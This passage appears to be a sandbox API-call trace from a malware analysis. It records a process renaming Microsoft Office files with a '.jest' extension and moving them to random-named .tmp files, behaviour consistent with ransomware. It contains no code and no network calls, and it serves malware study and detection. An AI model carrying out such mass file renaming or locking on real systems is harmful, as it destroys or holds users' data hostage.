HALPmcxz\\Desktop\\0SpeL3uJY74l-Rk67LmSoIHmjjUOPXkZpqV5sNmDNgAPKWIcpRhUVQ9K0SL_Wu_UzVqRocnM65pAl-n2m4387QpHKD5MgvmWwAQfO.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0spel3ujy74l-rk67lmsoihmjjuopxkzpqv5snmdngapkwicprhuvq9k0sl_wu_uzvqrocnm65pal-n2m4387qphkd5mgvmwwaqfo.tmp")) returned 0 [0168.402] GetLastError () returned 0x2 [0168.402] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.403] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.HK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.hk.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.HK.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.hk.xml.jest")) returned 1 [0168.405] VarBstrFromR4 (in: fltIn=0x479458fc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.97") returned 0x0 [0168.406] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.HK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.hk.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IopABXALu524LKpA0trcwrBpBfhtfdaOSTD79e sB4crdeGgYtKKYx1cF5hqN1EFnJoQcrFrOXM_-vrCFIMxS2piUZDNbx3YAsZk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iopabxalu524lkpa0trcwrbpbfhtfdaostd79e sb4crdeggytkkyx1cf5hqn1efnjoqcrfroxm_-vrcfimxs2piuzdnbx3yaszk.tmp")) returned 0 [0168.406] GetLastError () returned 0x2 [0168.406] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.408] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ie.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IE.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ie.xml.jest")) returned 1 [0168.410] VarBstrFromR4 (in: fltIn=0x479458fc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.97") returned 0x0 [0168.411] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ie.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UE BOin1KaL0yPtY3d G7aeC9xDNMVD-zXCzHxpM068y9UEC07BAj7 jHEBx77ZtkIyY7pFOXaqqRiqL1 UDrbwVlPkkuf9f0H5B.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ue boin1kal0ypty3d g7aec9xdnmvd-zxczhxpm068y9uec07baj7 jhebx77ztkiyy7pfoxaqqriql1 udrbwvlpkkuf9f0h5b.tmp")) returned 0 [0168.411] GetLastError () returned 0x2 [0168.411] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.412] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.IN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.in.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.IN.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.in.xml.jest")) returned 1 [0168.414] VarBstrFromR4 (in: fltIn=0x479458fe, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.98") returned 0x0 [0168.415] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.IN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.in.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uxceFTW5twc-BoRFtVSqH_lWZ_dHOSqxUuUTcDtZo1WsQ CpiOnjDrLR-miX28cY6zl58WDGfyx pTwUEXlrSm8__BDkLCzAoyBeF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uxceftw5twc-borftvsqh_lwz_dhosqxuuutcdtzo1wsq cpionjdrlr-mix28cy6zl58wdgfyx ptwuexlrsm8__bdklczaoybef.tmp")) returned 0 [0168.415] GetLastError () returned 0x2 [0168.415] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.416] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MX.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.mx.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MX.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.mx.xml.jest")) returned 1 [0168.418] VarBstrFromR4 (in: fltIn=0x479458fe, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.98") returned 0x0 [0168.419] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MX.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.mx.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P3gqWYdxFjC2ssnJUppcI2bLtEp5WdxlWy1BvRlzGLF7l_PBStLJODDzAk4X7y5mdLs2Q56DjprP__IIvOZVOAEeCFFRKzDzVFsx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p3gqwydxfjc2ssnjuppci2bltep5wdxlwy1bvrlzglf7l_pbstljoddzak4x7y5mdls2q56djprp__iivozvoaeecffrkzdzvfsx.tmp")) returned 0 [0168.419] GetLastError () returned 0x2 [0168.420] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.420] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MY.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.my.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MY.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.my.xml.jest")) returned 1 [0168.423] VarBstrFromR4 (in: fltIn=0x479458fe, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.98") returned 0x0 [0168.424] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MY.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.my.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oUz6WHMSeifl5Oj YJBYIHxTUhObqDT3bL lAUmsdezkx2xfUQUbiGhf31Iaf s_oUgfjt2i2 ntHKUOjqvlG6JejfpoYIJvi9i.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ouz6whmseifl5oj yjbyihxtuhobqdt3bl laumsdezkx2xfuqubighf31iaf s_ougfjt2i2 nthkuojqvlg6jejfpoyijvi9i.tmp")) returned 0 [0168.424] GetLastError () returned 0x2 [0168.424] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.425] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.NZ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.nz.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.NZ.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.nz.xml.jest")) returned 1 [0168.426] VarBstrFromR4 (in: fltIn=0x479458fe, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.98") returned 0x0 [0168.427] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.NZ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.nz.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5U1X6y0APrpwXK1G7rKUrv39O6 BIz1szviTZHCI1hNo1h2BLFHHect12koFpshofnaYzFOnuPwX tmD-76_h-863W_eG4VOGOO4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5u1x6y0aprpwxk1g7rkurv39o6 biz1szvitzhci1hno1h2blfhhect12kofpshofnayzfonupwx tmd-76_h-863w_eg4vogoo4.tmp")) returned 0 [0168.427] GetLastError () returned 0x2 [0168.428] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.428] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.PH.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ph.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.PH.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ph.xml.jest")) returned 1 [0168.430] VarBstrFromR4 (in: fltIn=0x47945900, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954") returned 0x0 [0168.431] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.PH.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ph.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ME84YRXQ-1s9U7KxiCU-nuWXh1W2PJ2WbMuXxrGmcHMUvVBv9hRRbLV__RX 5mUnuAotw4v8jq46szp-ks9tHUDttLOzHjlDTifW3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\me84yrxq-1s9u7kxicu-nuwxh1w2pj2wbmuxxrgmchmuvvbv9hrrblv__rx 5munuaotw4v8jq46szp-ks9thudttlozhjldtifw3.tmp")) returned 0 [0168.431] GetLastError () returned 0x2 [0168.432] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.432] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.PL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.pl.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.PL.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.pl.xml.jest")) returned 1 [0168.437] VarBstrFromR4 (in: fltIn=0x47945900, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954") returned 0x0 [0168.438] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.PL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.pl.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\593e142eHzTP4z2mOJmyLf-bd3sybmpWDSRNIxxdaVZPYKuDhQI_ByyOsNtx7RwbTn1UEF9U6NpUXeRmmzvAVulpJgnfZhbkqzjt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\593e142ehztp4z2mojmylf-bd3sybmpwdsrnixxdavzpykudhqi_byyosntx7rwbtn1uef9u6npuxermmzvavulpjgnfzhbkqzjt.tmp")) returned 0 [0168.438] GetLastError () returned 0x2 [0168.439] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.439] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.TH.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.th.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.TH.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.th.xml.jest")) returned 1 [0168.441] VarBstrFromR4 (in: fltIn=0x47945900, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954") returned 0x0 [0168.443] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.TH.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.th.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6_I6c3ByEM2HzOPir1L9 f8KXrEMhNqxSoQKHTBucVsRIn9U1TRGn8Wrz_iBXmhixVpbCsPJ8XyQOxvwxqIv0QMDjsBggwrdmgcjv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6_i6c3byem2hzopir1l9 f8kxremhnqxsoqkhtbucvsrin9u1trgn8wrz_ibxmhixvpbcspj8xyqoxvwxqiv0qmdjsbggwrdmgcjv.tmp")) returned 0 [0168.443] GetLastError () returned 0x2 [0168.443] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.443] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.TW.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.tw.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.TW.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.tw.xml.jest")) returned 1 [0168.445] VarBstrFromR4 (in: fltIn=0x47945902, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.02") returned 0x0 [0168.446] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.TW.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.tw.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\v7NaZv-H25Io7o-ZKhyUOMr2_EgA9yp1Dx068WHcqDliC3x0Foxiq4C6FmKcDd_Vz20w5xo8MtpOXTZpbpe2VG3q0hswBICjGw-Ui.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\v7nazv-h25io7o-zkhyuomr2_ega9yp1dx068whcqdlic3x0foxiq4c6fmkcdd_vz20w5xo8mtpoxtzpbpe2vg3q0hswbicjgw-ui.tmp")) returned 0 [0168.446] GetLastError () returned 0x2 [0168.446] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.447] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.UK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.uk.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.UK.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.uk.xml.jest")) returned 1 [0168.449] VarBstrFromR4 (in: fltIn=0x47945902, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.02") returned 0x0 [0168.450] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.UK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.uk.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6vOw6aLmgLCunepgYMDPyq8VmG U243g-r5VCBAEYO5Kx_YSeA2HWRgGYzBfAX2HWBiqJ6pGkDLxfVvqYjO6J7mry8LVrUKnXxxH.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6vow6almglcunepgymdpyq8vmg u243g-r5vcbaeyo5kx_ysea2hwrggyzbfax2hwbiqj6pgkdlxfvvqyjo6j7mry8lvruknxxxh.tmp")) returned 0 [0168.450] GetLastError () returned 0x2 [0168.450] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﰱ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.451] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﰴ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.453] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱜ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.454] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱤ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.454] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrow.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrow.jpg.jest")) returned 1 [0168.459] VarBstrFromR4 (in: fltIn=0x47945904, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.03") returned 0x0 [0168.461] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrow.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8mbnudXZ1NGDIjHiBzzfMzutqOT0S88mArB-OJtGS7 CfJRzf3NjL7CY4vrEBoUiFxJmbw5SIzVs0YGe0qBJr1p60AnYdEdDD6O.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8mbnudxz1ngdijhibzzfmzutqot0s88marb-ojtgs7 cfjrzf3njl7cy4vrebouifxjmbw5sizvs0yge0qbjr1p60anydeddd6o.tmp")) returned 0 [0168.461] GetLastError () returned 0x2 [0168.464] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.465] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_auto.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_auto.jpg.jest")) returned 1 [0168.468] VarBstrFromR4 (in: fltIn=0x47945904, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.03") returned 0x0 [0168.470] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_auto.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3h-jnmHAhRgerol_Eafqx wMNSf_rMWmb3F5dD9eRRluqZZFARlEJpOS6xstDmfHyVNoX6I42N9_YvPCmSU3_0HST- KVscUFEu.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3h-jnmhahrgerol_eafqx wmnsf_rmwmb3f5dd9errluqzzfarlejpos6xstdmfhyvnox6i42n9_yvpcmsu3_0hst- kvscufeu.tmp")) returned 0 [0168.470] GetLastError () returned 0x2 [0168.470] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 